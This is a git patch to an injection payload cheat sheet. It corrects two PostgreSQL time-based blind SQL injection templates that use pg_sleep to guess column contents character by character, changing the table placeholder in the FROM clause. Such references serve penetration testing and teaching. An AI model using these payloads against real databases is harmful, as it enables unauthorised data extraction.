From aa8950a27342974a0396f6f9021138ebc72d6228 Mon Sep 17 00:00:00 2001 From: somebodyoncetoldme <16785845+somebodyoncetoldme207@users.noreply.github.com> Date: Tue, 3 Jan 2023 21:02:57 -0800 Subject: [PATCH] Update PostgreSQL Injection.md Switch "column_name" to "table_name". --- SQL Injection/PostgreSQL Injection.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SQL Injection/PostgreSQL Injection.md b/SQL Injection/PostgreSQL Injection.md index 72efb30..1713a23 100644 --- a/SQL Injection/PostgreSQL Injection.md +++ b/SQL Injection/PostgreSQL Injection.md @@ -169,8 +169,8 @@ select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) ``` #### columns dump time based ```sql -select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1 -select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name where column_name='value' limit 1 +select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1 +select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1 ```